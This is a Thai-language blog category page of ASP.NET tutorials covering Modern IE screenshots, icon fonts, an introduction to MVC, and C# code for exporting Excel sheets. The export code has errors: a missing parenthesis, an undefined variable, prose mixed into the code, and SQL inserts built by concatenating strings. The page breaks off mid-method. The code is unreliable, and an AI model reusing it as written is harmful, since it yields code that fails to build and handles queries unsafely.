Category: การพัฒนา ASP.NET Web Application

  • ทดสอบการแสดงผลเว็บแอพพลิเคชันง่ายๆ บน Browser ต่างๆ ด้วยบริการของ Modern IE

    ในปัจจุบันเว็บแอพพลิเคชันที่มีการพัฒนาจะต้องรองรับ Browser และอุปกรณ์ที่แตกต่างกัน ซึ่งบางครั้งเป็นการยากที่เราจะทดสอบให้ครบได้

    จะดีไหมถ้าเราสามารถดูการแสดงผลเว็บแอพพลิเคชันที่พัฒนาว่า หน้าตาเป็นอย่างไรเมื่อแสดงผลบน Browser หรืออุปกรณ์อื่นๆ

    Microsoft ได้เปิดตัว Modern IE ขึ้น โดยมีบริการที่น่าสนใจที่เรียกว่า Browser screenshots !!

    ขั้นตอนที่ 1

    ไปยัง URL : https://dev.modern.ie/tools/screenshots/

    2

    ขั้นตอนที่ 2

    ใส่ URL ของเว็บแอพพลิเคชันของเราที่ต้องการ

    1

    ขั้นตอนที่ 3

    กดปุ่ม Enter หรือรูปแว่นขยาย เครื่องมือจะแสดงผลดังภาพ

    3 4

    จะเห็นว่าเจ้า Browser screenshots เป็นเครื่องมือที่ช่วยให้เราเห็นหน้าจอเว็บแอพพลิเคชันของเราในเบื้องต้นได้

    “หวังว่าจะมีประโยชน์ต่อนักพัฒนาหรือนักทดสอบระบบทุกท่านนะค่ะ”

  • Icon Font

    บทความนี้จะพูดถึงคำ 2 คำ คือ Icon และ Font ที่ใช้งานบนเว็บ ซึ่งทุกคนคงจะรู้จัก Web Icon กันดีอยู่แล้วว่ามันคือรูปภาพขนาดเล็กที่ปรากฏบนหน้าเว็บไซต์ ใช้เป็นสัญลักษณ์แทนความหมายต่างๆ เช่น รูปแว่นขยายมีความหมายถึงการค้นหาข้อมูล รูปแผ่นดิสก์ใช้แทนความหมายของการบันทึกข้อมูล เป็นต้น รูปภาพเหล่านี้ส่วนใหญ่จะเป็นไฟล์นามสกุล .png ซึ่งสามารถทำเป็นรูปที่มีพื้นหลังโปร่งใสได้

    search-iconActions-document-save-all-icon

     

     

     

    ในส่วนของการใช้งาน Font บนเว็บไซต์นั้นสามารถอ่านได้จากบทความ @font-face ครับ กล่าวโดยสรุปแบบง่ายๆ คือ Font เป็นข้อความที่ใช้นำเสนอข้อมูลบนเว็บไซต์ครับ และการพัฒนาเว็บไซต์ในปัจจุบันนี้ได้มีสิ่งที่น่าสนใจเกิดขึ้น เมื่อมีการนำ Icon และ Font มารวมกัน คือการทำ Icon ให้เป็น Font หรือการสร้างตัวอักษรที่มีรูปร่างเป็น Icon เรียกใช้งานผ่าน CSS class แล้วแสดงผลเหมือนเป็นรูปภาพรูปหนึ่ง ข้อดีของการทำแบบนี้คือเราสามารถจัดการเรื่องขนาด และสีได้ด้วยการใส่ CSS อย่างง่ายได้

    Icon Font ใน Bootstrap Framework

    Bootstrap Framework ที่นิยมใช้งานกันอย่างแพร่หลายก็ได้จัดเตรียมคอมโพเน้นต์ที่เป็น Icon Font ให้ใช้งานด้วยเหมือนกัน โดยจะใช้ชื่อว่า Gryphicons (http://getbootstrap.com/components/#glyphicons) ประกอบด้วย Icon ต่างๆ มากมายดังรูป

    gryphicons

    วิธีการใช้งานก็ไม่ยาก แค่กำหนด CSS class ให้กับแท็ก <span> ดังตัวอย่างนี้

    gryphicons-class-example

    Font Awesome

    font-awesome

    Font Awesome เป็นแหล่งรวม Icon Font ที่น่าสนใจมากอีกแหล่งหนึ่ง มี Icon สวยๆ ให้เลือกมากมาย วิธีการติดตั้งมี 2 วิธีเช่นเดียวกับการเรียกใช้งาน CSS ทั่วไป ดังนี้

    1. ติดตั้งผ่าน MaxCDN Bootstrap ในแท็ก <head> ดังนี้

    <link rel=”stylesheet” href=”//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css”>

    1. ดาวน์โหลดจากเว็บ http://fortawesome.github.io/Font-Awesome มาติดตั้งบนเว็บไซต์ของเราได้โดยตรง และติดตั้งในแท็ก <head> ดังนี้

    <link rel=”stylesheet” href=”path/to/font-awesome/css/font-awesome.min.css”>

    วิธีการใช้งานให้ใช้ผ่านแท็ก <i> หรือ <span> เช่น

    <i class=”fa fa-camera-retro”></i> fa-camera-retro

    ก็จะทำให้ได้ Icon รูปกล้องถ่ายรูปดังรูป

    camera-icon

    ท่านสามารถศึกษาเพิ่มเติมได้จากตัวอย่างในเว็บนี้ครับ http://fortawesome.github.io/Font-Awesome/examples

  • ASP.NET MVC Part2: เริ่มต้นสร้างเว็บด้วย MVC with Bootstrap

    สวัสดีค่ะ จากบทความที่แล้ว ASP.NET MVC Part 1 : ทำความรู้จักกับ ASP.NET MVC ได้กล่าวถึง ASP.NET MVC ไปบ้างแล้วว่าคืออะไร ในส่วนของบทความนี้จะแนะนำการเริ่มต้นสร้าง Project เพื่อพัฒนา Web Application ด้วย Microsoft Visual Studio 2013 โดยใน MVC5 ซึ่งเป็นเวอร์ชันล่าสุด ได้มีการติดตั้ง Bootstrap มาให้ในตัว ช่วยให้การพัฒนาในส่วนของ View สามารถเรียกใช้งาน Bootstrap class ร่วมกับ Razor syntax(จะกล่าวถึงในบทความถัดไป) ในการแสดงผลหน้า View ได้ง่ายขึ้นและทำให้สามารถรองรับหลากหลายอุปกรณ์ที่มีหน้าจอที่มีขนาดแตกต่างกันออกไป โดยที่เราไม่ต้องเสียเวลาติดตั้งเพิ่มเอง

    Tools & Environment 

    • Microsoft Visual Studio 2013
    • Microsoft .Net Framework 4.5
    • ภาษาที่ใช้ในการพัฒนา Visual C#

    Step 1: เปิด Visual Studio ขึ้นมา และคลืกที่ New Project

    รูปที่ 1


    Step 2: ที่เมนูด้านซ้ายให้เลือก Visual C# > Web >ASP.NET Web Application และตั้งชื่อ Project ดังรูปที่ 2 หลังจากนั้นให้กดปุ่ม OK

    รูปที่ 2
    Step 3: เลือก Template Web โดยเลือกเป็น MVC หลังจากนั้นกด OK
    รูปที่ 3
    Step 4: Check และ Update เวอร์ชัน Bootstrap
    สังเกตที่ solution explorer ฝั่งด้านขวา ที่โฟลเดอร์ Content และโฟลเดอร์ Scripts จะพบไฟล์ Css และ JavaScript ของ Bootstrap ติดตั้งมาให้เรียบร้อยแล้ว
    รูปที่ 4
    ตรวจสอบเวอร์ชันของ Bootstrap ว่าเป็นเวอร์ชันล่าสุดแล้วหรือยัง โดย คลิกขวา ที่ Project แล้วเลือก Manage Nuget Packages ดังรูปที่ 5
    รูปที่ 5
    จะปรากฎหน้าต่าง Manage Nuget Package ซึ่งจะแสดง Package หรือ Library  ทั้งหมดที่ตอนนี้ Project เราติดตั้งอยู่ ให้เลือกดูที่ Boostrap และสังเกตคำอธิบายที่ช่องด้านขวา จะแสดงเวอร์ชั่นอยู่ ซึ่งจากรูปที่ 6 เป็น Bootstrap 3.0 ซึ่งเป็นเวอร์ชันปัจจุบันแล้ว หากยังไม่เป็นปัจจุบันจะขึ้นปุ่มให้สามารถ Update เวอร์ชันได้
    รูปที่ 6
     หลังจากนั้นให้ไปดูที่โฟลเดอร์ App_Start > BudleConfig.cs  ดังรูปที่ 7 โดยไฟล์ ฺBundleConfig.cs จะทำหน้าที่ลงทะเบียนเก็บ Path ของไฟล์ Java script และ CSS ต่างๆที่มีการเรียกใช้ในระบบไว้ที่นี่ เพื่อไว้เวลาเราอ้าง Path เราสามารถอ้าง Path ตามชื่อ Bundle ที่เราสร้างโดยไม่ต้องเรียกไปยัง Path File ตรงๆได้
    รูปที่ 7
    Step 5: ทดลอง Run preview ดูหน้าเว็บ
    ก่อนจะรัน ให้ไปที่ โฟลเดอร์ View > Shared >_layout.cshtml ซึ่งเป็น Layout ของระบบ(เทียบกับ Web Form ก็คือ Master Page) จากรูปที่ 8 จะเห็นว่า มีการเรียกใช้ Bootstrap Class ในการจัดวาง Component และ Layout ต่างๆไว้ให้
    รูปที่ 8

    กดปุ่ม Run  เพื่อดูผลลัพธ์ ออกมาดังรูป 9

    รูปที่ 9
    เมื่อทำการย่อปรับเป็นขนาด Mobile หน้าเว็บก็จะปรับตามขนาดของหน้าจอของอุปกรณ์ที่แสดงผลดังรูป  เป็นอันเสร็จเรียบร้อย ^^
    ——–End——-
    บทความถัดไป : เป็นการแนะนำการเริ่มต้นสร้างส่วนของ Model ในการติดต่อกับฐานข้อมูล  >> ASP.NET MVC Part3: สร้าง Model ด้วย Entity Framework
  • ASP.NET MVC Part 1 : ทำความรู้จักกับ ASP.NET MVC

    สวัสดีค่ะ วันนี้ผู้เขียนจะมาแนะนำให้รู้จักกับแนวทางการพัฒนา Web Application ด้วย ASP.NET MVC ก่อนหน้านี้ผู้เขียนจะพัฒนา Web Application ด้วย ASP.NET Web Forms มาตลอด และช่วงที่ผ่านมา ผู้เขียนเองมีโอกาสได้ศึกษาและทำความเข้าใจกับ ASP.NET MVC มาซักระยะหนึ่ง จึงมาเขียนบทความเล่าสู่กันฟังเกี่ยวกับ การพัฒนา Web Application ด้วย ASP.NET MVC ซึ่งในบทความนี้ อ้างอิงและแปลมาจากบทความ WebForms vs MVC ซึ่งจะประกอบไปด้วย

    • ASP.NET คืออะไร?
    • ASP.NET Web Forms คืออะไร?
    • MVC คืออะไร?
    • ASP.NET MVC คืออะไร?
    • เปรียบเทียบระหว่าง Web Forms และ MVC
    • เลือกใช้อะไรดี ระหว่าง Web Forms และ MVC ?

    ASP.NET คืออะไร?

       คือ Web application framework ที่ถูกพัฒนาโดย Microsoft สำหรับนักพัฒนาในการพัฒนา web application ขึ้นมา โดยโปรแกรมด้วยภาษา C#,VB.NET และอื่นๆ ณ ปัจจุบัน มีอยู่ 2 รูปแบบในการเลือกใช้พัฒนา ได้แก่ Web Forms และ MVC
    ASP.NET Web Forms คืออะไร?
    คือ framework ในการพัฒนา web application ที่ถูกออกแบบมาในลักษณะ RAD(Rapid Application Development) คือ สามารถพัฒนา Web application ได้อย่างรวดเร็ว โดยใช้วิธีการลาก control มาวางบนพื้นที่ design หน้า page และเขียน code ภายใต้ control เหล่านั้น โดยอาศัย concept การทำงานของ Postback(การส่งข้อมูลไปมาระหว่าง server และ client) และ ViewState(การเก็บค่าให้คงไว้ระหว่างการทำ postback)
    วิธีการสร้างหน้า page ของ Web Forms
    การทำงานของ Web Forms

    MVC คืออะไร?
    คือ design pattern ที่ใช้ในการสร้าง Web Application แนวความคิดของ MVC design pattern จะจัดการแยกหน้าที่ขององค์ประกอบใน application ออกเป็นส่วนๆ(separation) เพื่อให้สะดวก รวดเร็ว และง่ายขึ้น ในการสร้าง พัฒนา และขยายระบบเพิ่มเติม รวมถึงมันจะทำให้เราทดสอบ application นี้เป็นส่วนๆได้โดยไม่กระทบ หรือกระทบน้อยที่สุดกับส่วนอื่น โดย MVC ย่อมาจาก Model, View และ Controller

    Model คือ คือส่วน Business Model หรือส่วนที่ติดต่อกับฐานข้อมูล
    Controller คือ ส่วนควบคุมและรับ request จาก user มาและไปดึงข้อมูลจาก Model มาเพื่อแสดงผลข้อมูลกลับไปยัง user ที่ส่วน View
    View คือ ส่วนที่แสดงผลข้อมูล

    ASP.NET MVC คืออะไร?
    คือ framework ในการพัฒนา web application ที่ถูกออกแบบให้รองรับ MVC pattern โดยจัดการแยกหน้าที่ขององค์ประกอบใน application ออกเป็นส่วนๆ(separation of concerns) ด้วยการจัดการที่แยกออกเป็นส่วนๆ ทำให้การทดสอบระบบ(Unit Testing)ที่ซํบซ้อน ทำได้ง่ายขึ้น

    วิวัฒนาการ ASP.NET Framework

    การทำงานของ ASP.NET MVC

    เปรียบเทียบระหว่าง Web Forms และ MVC
    1. Web Forms
    ข้อดี

    •      Web Form support Rich server control คือ มี control ฝั่ง server มาให้ใช้งานมากมายและหลากหลาย
    Tool box Control ที่ ASP.Net Web Forms เตรียมไว้ให้
    • เป็นการเขียนโปรแกรมแบบ Event Driven Programming คือ การเขียนโปรแกรมในลักษณะว่า “ถ้าเหตุการณ์นี้เกิดขึ้น เราจะให้โปรแกรมของเราจัดการกับเหตุการณ์นั้นๆ อย่างไร”  สำหรับ ASP.NET Web Forms จะมีตัวช่วยในการเขียนลำดับเหตการณ์ ประกอบด้วย Code behind,กลไก postback ตัวเอง และ ViewState ซึ่งด้วยวิธีการนี้ นักพัฒนาไม่จำเป็นต้องพึ่งพา Get/Post method ในการติดต่อกับ Server
    ตัวอย่าง Code Behind ภายใต้เหตุการณ์หลังจากการกดปุ่ม
    • Rapid Application Development จากการที่ Web forms มีการเตรียม Server control มาให้ใช้มากมาย และการเขียนโปรแกรมในลักษณะ Event driven จึงช่วยให้การพัฒนา Application เป็นไปได้รวดเร็วขึ้น ตัวอย่างเช่น นักพัฒนาสามารถลาก control Button(ปุ่ม) มาวาง และ double click เพื่อเขียน code logic การทำงานเข้าไปได้เลย โดยไม่จำเป็นต้องรู้การทำงานเบื้องหลังของ event นั้นๆ ก็สามารถสร้าง Application ให้ทำงานได้
    • Less Learning Effort จากการที่ Web forms มีการเตรียม Server control มาให้ใช้มากมาย และประกอบกับมีการทำงานด้วย ViewState ทำให้ผู้พัฒนาที่มี Skill ทางด้าน HTML และ Java script เล็กน้อย ก็สามารถสร้าง Application ขึ้นได้

    ข้อเสีย

    • Project Architecture 
                 code ทุกอย่างจะอยู่ภายใต้ code behind ซึ่งจะผูกติดกันอย่าแน่นหนากับ หน้า UI
    • Unit Testing  เนื่องจากภายใต้ code behind ที่มีจำนวน event ที่เยอะมาก ทำให้การทำ automatic unit testing ทำได้ยาก
    • Performance ด้วยการที่ Web forms ใช้ ViewState ในการเก็บค่าต่างๆของหน้า page ส่งผลให้ ขนาดของ ViewState ใหญ่ขึ้น ทำให้ performance ของระบบลดลงไปด้วย
    • Reusability  เนื่องจากการผูก code behind เข้ากับ UI ทำให้การ reuse code ทำได้ยาก
         จากรูป หากเราต้องการ binding ข้อมูลในลักษณะเดียวกับกับ Customer ทุกอย่างให้กับ UI อื่นๆ เราก็จะต้องสร้าง method binding ที่เหมือนกันกับในรูปขึ้นมาอีก เนื่องจาก code ถูกผูกเข้ากับ control gridview คนละตัวกัน
    • Less control over HTML control ที่มี่อยู่อาจไม่ support การทำงาน จำเป็นต้องนำเอา java script framework เข้ามาใช้ร่วมด้วย เช่น Jquery, AJAX เป็นต้น

    2. MVC

    ข้อดี
    Project Structure แบ่งแยกส่วนต่างๆ ของ code ออกจากกันชัดเจน
    • Test Driven Development and Reusability
      • ด้วยการแบ่งส่วนการทำงานของ code ออกจากกันชัดเจน ทำให้สามารถทำ Unit Testing ได้ง่ายขึ้น
      • Controller ไม่จำเป็นต้องผูกกับ View ใด View หนึ่ง สามารถ reuse ใช้ได้กับหลายๆ View ได้
    • Performance ใน MVC จะไม่มี ViewState และ event ทำให้ลดขนาด page size ลงไป ทำให้ได้ performance ที่ดีกว่า
    • Full control over HTML ใน MVC ไม่มี server control มาให้เหมือน Web Forms ทำให้เราสามารถใช้ control ของ HTML และ java script ได้อย่างอิสระ
    • SEO,URL Routing and REST มีการเรียก url แบบ REST service และการทำ SEO(Search Engine Optimization) ง่ายกว่า
    •  Support Parallel Development  ใน MVC มีการแบ่งส่วนการทำงานออกจากกันชัดเจน ทำให้ผู้พัฒนาสามารถพัฒนาคู่ขนานกันไปได้ เช่น คนที่รับผิดชอบส่วน View ก็ทำส่วน Design wxพร้อมกับที่ทำส่วน Controller ได้เลย ไม่จำเป็นต้องรอใครทำเสร็จก่อนแล้วจึงจะทำต่อได้

    ข้อเสีย

    • More Learning Effort จำเป็นต้องมีประสบการณ์ในการทำ web application มาพอสมควร เนื่องจากจะไม่มี ViewState, Event และ Server control ที่อำนวยความสะดวกเหมือนใน Web Forms
    • ไม่มี server control ให้ลากวาง เหมือนใน Web Forms ต้องเขียน HTML ขึ้นมาเอง

    เลือกใช้อะไรดีระหว่าง Web Forms และ MVC?

        ในการพัฒนา web application เราจำเป็นต้องพิจารณาจากหลายๆปัจจัย เช่น หากเราต้องการ web application ที่ต้องการให้เสร็จเร็วและง่าย ก็ควรเลือกใช้แบบ Web Forms เนื่องจาก Web Forms ถือว่าเป็น RAD(Rapid Application Development) คือ เตรียมทุกอย่างมาให้พร้อมที่จะพัฒนาได้เลยเช่น Server control,ViewState,Event เป็นต้น แต่หากเราต้องการพัฒนา web application ที่ซับซ้อนและต้องการ performance ที่ดี ประกอบกับทีมพัฒนามีความรู้ทางด้านการพัฒนา web application เป็นอย่างดี ก็ควรเลือกใช้ MVC มาเป็นตัวเลือกในการพัฒนา

    ที่มา: https://www.facebook.com/photo.php?fbid=685327044884788

    ในบทความถัดไปจะแนะนำการเริ่มต้นสร้าง web application ด้วย ASP.NET MVC ร่วมกับ Bootstrap >> ASP.NET MVC Part2: เริ่มต้นสร้างเว็บด้วย MVC with Bootstrap

    อ้างอิง :

    • http://www.codeproject.com/Articles/528117/WebForms-vs-MVC
    • http://www.codeproject.com/Articles/821275/Webforms-vs-MVC-and-Why-MVC-is-better
  • Export ข้อมูลไฟล์ Excel ในแบบ Single และ Multiple sheet ด้วย ASP.NET(C#)

                ความเดิมตอนที่แล้ว ผู้เขียนได้พูดถึงความสำคัญของข้อมูล และวิธีการ Import ข้อมูลจากไฟล์ Excel กันไปพอสมควร สำหรับในบทความนี้ ผู้เขียนจะขอพูดถึงวิธีการส่งออกข้อมูล หรือที่เรามักเรียกกันติดปากว่า “Export ข้อมูล” กันบ้าง เพื่อให้ผู้พัฒนาที่มีความสนใจสามารถพัฒนาโปรแกรมได้ครบวงจรทั้งแบบนำเข้าและส่งออกข้อมูล โดยผู้เขียนจะไม่ขอพูดถึงในรายละเอียดที่ได้กล่าวไว้แล้วก่อนหน้า ผู้อ่านสามารถอ่านรายละเอียดเพิ่มเติมได้ในบทความ “เรียนรู้วิธีการ Import ข้อมูลในรูปแบบไฟล์ Excel ด้วย ASP.NET (C#)” สำหรับในบทความนี้ผู้เขียนจะเน้นในส่วนของการ Export ข้อมูลเท่านั้น ซึ่งจะมีการอธิบายใน 2 ลักษณะเช่นกัน คือ แบบ Single sheet และแบบ Multiple sheet เพื่อให้เห็นเป็นแนวทางและสามารถนำไปต่อยอดการพัฒนาเพิ่มเติมสำหรับแต่ละท่านได้

    กรณีส่งออกข้อมูล(Export) ซึ่งในบทความนี้จะแบ่งเป็น 2 ลักษณะ ดังนี้

    • การส่งออกข้อมูลแบบ Single-sheet ซึ่งมีขั้นตอนการทำงานไม่ซับซ้อนมากนัก ดังนี้
    protected void btnExport_Click(object sender, EventArgs e)
    
    {
    //// ตารางสมมติ สร้างขึ้นเพื่อให้ผู้พัฒนาเห็นภาพ หากเป็นกรณีใช้งานจริงจะเป็นข้อมูลที่ดึงจากฐานข้อมูลเพื่อ Export ในรูปแบบไฟล์ Excel
    DataTable table = new DataTable();
    table.Columns.Add("Name", typeof(string));
    table.Columns.Add("Latitude", typeof(decimal));
    table.Columns.Add("Longitude", typeof(decimal));
    table.Columns.Add("Description", typeof(string));
    table.Rows.Add("University1", 7.006923, 100.500238, "Desc1");
    table.Rows.Add("University2", 7.172661, 100.613726, "Desc2");
    
    
    
    StringBuilder sb = new StringBuilder();
    if (table.Rows.Count > 0)
    {
    string fileName = Path.Combine(Server.MapPath("~/ImportDocument"), DateTime.Now.ToString("ddMMyyyyhhmmss") + ".xls");
    
    //// ลักษณะการตั้งค่าเพื่อเชื่อมต่อด้วย OleDb ซึ่งในกรณีนี้ไฟล์ Excel จะต้องมีนามสกุลเป็น .xls แต่หากเป็นนามสกุลแบบ .xlsx ต้องเปลี่ยนการกำหนดค่าให้เป็น
    conString = @"Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" + 
    fileName + ";Extended Properties='Excel 12.0;HDR=YES;IMEX=1;';";  แทน
    
    string conString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + fileName + ";Extended Properties=\"Excel 8.0;HDR=Yes;IMEX=2\"";
    
    
     using (OleDbConnection con = new OleDbConnection(conString))
    {
    ////เขียนคำสั่งในการสร้างตาราง ซึ่งในที่นี้คือ WorkSheet ที่ต้องการ พร้อมทั้งกำหนดชื่อและชนิดของข้อมูลในแต่ละคอลัมน์
    string strCreateTab = "Create table University (" +
    " [Name] varchar(50), " +
    " [Latitude] double, " +
    " [Longitude] double, " +
    " [Description] varchar(200)) ";
    
    
    
    if (con.State == ConnectionState.Closed)
    {
    con.Open();
    }
    ////รันคำสั่งที่เขียนในการสร้างตาราง
    OleDbCommand cmd = new OleDbCommand(strCreateTab, con);
    cmd.ExecuteNonQuery();
    
    ////เขียนคำสั่งในการเพิ่มข้อมูล(insert) ข้อมูลในแต่ละฟิลด์ รวมทั้งประกาศพารามิเตอร์ที่ใช้ในการรับค่าข้อมูลที่อ่านได้
    string strInsert = "Insert into University([Name],[Latitude]," +
    " [Longitude], [Description]" +
    ") values(?,?,?,?)";
    
    OleDbCommand cmdIns = new OleDbCommand(strInsert, con);
    cmdIns.Parameters.Add("?", OleDbType.VarChar, 50);
    cmdIns.Parameters.Add("?", OleDbType.Double);
    cmdIns.Parameters.Add("?", OleDbType.Double);
    cmdIns.Parameters.Add("?", OleDbType.VarChar, 200);
    
    ////วนค่าที่ได้จากฐานข้อมูลและกำหนดค่าให้กับพารามิเตอร์และรันคำสั่งในการเพิ่มข้อมูลทีละรายการ
    foreach (DataRow  i in table.Rows)
    {
    cmdIns.Parameters[0].Value = i["Name"];
    cmdIns.Parameters[1].Value = i["Latitude"];
    cmdIns.Parameters[2].Value = i["Longitude"];
    cmdIns.Parameters[3].Value = i["Description"];
    cmdIns.ExecuteNonQuery();
    
    }
    }
    
    ////สร้างไฟล์ที่ต้องการดาวน์โหลดจากการอ่านที่ได้ทั้งหมด เพื่อบันทึกเป็นไฟล์ Excel ที่มีชื่อว่า University.xls
    
    byte[] content = File.ReadAllBytes(fileName);
    HttpContext context = HttpContext.Current;
    context.Response.BinaryWrite(content);
    context.Response.ContentType = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";
    context.Response.AppendHeader("Content-Disposition", "attachment; filename=University.xls");
    Context.Response.End();
    }
    }
    • การส่งออกข้อมูลแบบ Multiple sheet ใช้ในกรณีที่มีข้อมูลที่ Export จำนวนมากและต้องการแบ่งข้อมูลที่มีอยู่ออกเป็น WorkSheet ย่อย ซึ่งหลักการทำงานจะคล้ายกับการส่งออกข้อมูลแบบ Single-sheet แต่จะซับซ้อนกว่าในส่วนของการวนค่าจากในฐานข้อมูลมาใส่ใน  WorkSheet โดยมีการกำหนดจำนวนแถวที่จะให้บันทึกในแต่ละ WorkSheet หากเกินค่าที่กำหนดจะสร้าง WorkSheet ใหม่และบันทึกข้อมูลลงไปใน WorkSheet นั้น
    static StringBuilder sqlInsert = new StringBuilder();
    static StringBuilder strScript = new StringBuilder();
    
    public static void ExportToMultipleXLSheets( System.String OutputFileName)
    {
    string connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" +
    mOutputFileName + ";Extended Properties='Excel 8.0'";
    OleDbConnection xlConn = new OleDbConnection(connstr);
    
    try
    {
    xlConn.Open();
    ////ตารางสมมติเช่นเดียวกับที่ได้กล่าวไว้ในแบบการส่งออกข้อมูลแบบ Single sheet
    DataTable table = new DataTable();
    table.Columns.Add("EmployeeID", typeof(string));
    table.Columns.Add("Name", typeof(string));
    table.Columns.Add("LastName", typeof(string));
    table.Columns.Add("Position", typeof(string));
    
    table.Rows.Add("0001", "Jack", "Rayman", "Programmer");
    table.Rows.Add("0002", "John", "Wicky", "Programmer");
    table.Rows.Add("0003", "Jenifer", "Wincy", "Programmer");
    table.Rows.Add("0004", "Kate", "Wrapper", "Manager");
    table.Rows.Add("0005", "Bella", "Cole", "Programmer");
    table.Rows.Add("0006", "Sandy", "Stick", "Programmer");
    table.Rows.Add("0007", "Tom", "Runner", "Programmer");
    
    ////เป็นการเรียกใช้เมธอดที่ใช้ในการเตรียมคำสั่งที่จะใช้วนสร้างตาราง/Worksheet
    PrepareScript(table);
    
    ////เป็นเมธอดที่ใช้ในการเริ่มต้นทำงานคำสั่งในการ Export โดยจะมีการคำนวณจำนวนแถวของข้อมูลว่าเกินที่ระบุไว้หรือไม่ หากเกินกำหนดจะสร้าง WorkSheet ใหม่นั่นเอง
    StartExport(table, xlConn);
    
    if (xlConn != null)
    {
    if (xlConn.State == ConnectionState.Open) xlConn.Close();
    xlConn.Dispose();
    }
    
    ////อ่านค่าและ Export ไปยังไฟล์ที่มีชื่อว่า ExportMultiSheetData.xls
    byte[] content = File.ReadAllBytes(mOutputFileName);
    HttpContext context = HttpContext.Current;
    context.Response.BinaryWrite(content);
    context.Response.ContentType = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";
    context.Response.AppendHeader("Content-Disposition", "attachment; filename=ExportMultiSheetData.xls"  );
    context.Response.End();
    
    }
    catch (Exception exp)
    {
    throw new Exception("ImportToMultipleXLSheets", exp.InnerException);
    }
    finally
    {
    if (xlConn != null)
    {
    if (xlConn.State == ConnectionState.Open) xlConn.Close();
    xlConn.Dispose();
    }
    }
    }
    o เมธอดในการเตรียมคำสั่งที่ใช้ในการสร้างตารางและเพิ่มข้อมูล
    private static string PrepareScript(DataTable DTable)
    {
    // เตรียมคำสั่งในการสร้าง WorkSheet
    sqlInsert.Length = 0;
    strScript.Length = 0;
    
    ////วนค่าเพื่ออ่านค่าคอลัมน์ที่มีในแต่ละตาราง
    for (int i = 0; i < DTable.Columns.Count; i++)
    {
    sqlInsert.Append( "[" + DTable.Columns[i].ColumnName + "],");
    strScript.Append("[" + DTable.Columns[i].ColumnName.Replace("'", "''") + "]");
    
    ////กำหนดชนิดของข้อมูลแต่ละคอลัมน์
    if (DTable.Columns[i].DataType.ToString().ToLower().Contains("int") || DTable.Columns[i].DataType.ToString().ToLower().Contains("decimal"))
    strScript.Append(" double");
    else
    strScript.Append(" text");
    strScript.Append(", ");
    }
    
    sqlInsert.Remove(sqlInsert.Length - 1, 1);
    strScript.Remove(strScript.Length - 2, 1);
    strScript.Append(") ");
    ////ผลที่ได้ : 
    sqlInsert >> [EmployeeID],[Name],[LastName],[Position]
    strScript >> [EmployeeID] text, [Name] text, [LastName] text, [Position] text ) 
    เพื่อนำไปใช้ในการ run คำสั่งการทำงานสร้าง (create table) และเพิ่มข้อมูล (insert)
    
    return strScript.ToString();
    }
    o เมธอดในการสร้างตาราง/WorkSheet ตามคำสั่งที่เตรียมไว้
    private static void CreateXLSheets(DataTable DTable,
    OleDbConnection xlConn, System.String XLSheetName)
    {
    // สร้าง WorkSheet ใหม่
    System.Text.StringBuilder SqlFinalScript = new System.Text.StringBuilder();
    
    OleDbCommand cmdXl = new OleDbCommand();
    try
    {
    SqlFinalScript.Length = 0;
    cmdXl.Connection = xlConn;
    
    ///สร้างคำสั่งในการสร้างตาราง/WorkSheet ขึ้นใหม่ โดยตั้งชื่อตามพารามิเตอร์ที่ได้รับมา
    SqlFinalScript.Append("CREATE TABLE " + XLSheetName + " (");
    SqlFinalScript.Append(strScript.ToString());
    cmdXl.CommandText = SqlFinalScript.ToString();
    cmdXl.ExecuteNonQuery();
    }
    catch (Exception xlSheetExp)
    {
    throw (new Exception("CreateXLSheetException", xlSheetExp.InnerException));
    }
    finally
    {
    cmdXl.Dispose();
    }
    }
    
    private static void StartExport(DataTable DTable, OleDbConnection xlConn)
    {
    Int64 rowNo = 0, xlSheetIndex = 1, TotalNoOfRecords = 0;
    System.String NewXLSheetName = "Sheet";
    System.Text.StringBuilder strInsert = new System.Text.StringBuilder();
    TotalNoOfRecords = DTable.Rows.Count;
    OleDbCommand cmdXl = new OleDbCommand();
    cmdXl.Connection = xlConn;
    for (int count = 0; count < DTable.Rows.Count; count++)
    {
    strInsert.Length = 0;
    ////กรณีที่เป็นแถวแรกจะทำการสร้าง WorkSheet ขึ้นใหม่ โดยเรียกใช้เมธอด CreateXLSheets
    if (rowNo == 0 )
    { CreateXLSheets(DTable, xlConn, NewXLSheetName + xlSheetIndex);
    }
    rowNo += 1;
    
    ////กรณีที่จำนวนแถวใน 1 WorkSheet เกินที่กำหนดไว้จะสร้างชีทใหม่ ในกรณีนี้คือจะสร้าง WorkSheet ใหม่ทุกๆ 3 แถว และเพิ่มลำดับของ index ของ WorkSheet คราวละ 1
    if (TotalNoOfRecords > 3 && rowNo > 3
    {
    xlSheetIndex += 1;
    CreateXLSheets(DTable, xlConn, NewXLSheetName + xlSheetIndex);
    rowNo = 1;
    }
    
    ////เขียนคำสั่งในการเพิ่มข้อมูลไปยัง WorkSheet ที่กำหนด โดยมีการแทนที่ค่าของคำสั่งที่เตรียมไว้แล้วก่อนหน้านี้ในตอนเรียกใช้เมธอด PrepareScript
    strInsert.Append("Insert Into [" + NewXLSheetName + xlSheetIndex.ToString() +  "$](" + sqlInsert.ToString() + ") Values (");
    
    
    foreach (DataColumn dCol in DTable.Columns)
    {
    if (dCol.DataType.ToString().ToLower().Contains("int"))
    {
    if (DTable.Rows[count][dCol.Ordinal].ToString() == "")
    strInsert.Append("NULL");
    else
    strInsert.Append(DTable.Rows[count][dCol.Ordinal]);
    }
    else if (dCol.DataType.ToString().ToLower().ToLower().Contains("decimal"))
    {
    if (DTable.Rows[count][dCol.Ordinal].ToString() == "")
    strInsert.Append("NULL");
    else
    strInsert.Append(DTable.Rows[count][dCol.Ordinal]);
    }
    else
    strInsert.Append("\"" +
    DTable.Rows[count][dCol.Ordinal].ToString().Replace("'",
    "''") + "\"");
    strInsert.Append(",");
    }
    strInsert.Remove(strInsert.Length - 1, 1);
    strInsert.Append(");");
    
    ////run คำสั่งที่สร้างขึ้นในการเพิ่มข้อมูลทีละรายการ
    cmdXl.CommandText = strInsert.ToString();
    cmdXl.ExecuteNonQuery();
    
    }
    }
    
    o เขียนการทำงานเมื่อกดปุ่ม “Export”
    protected void btnExport_Click(object sender, EventArgs e)
    { 
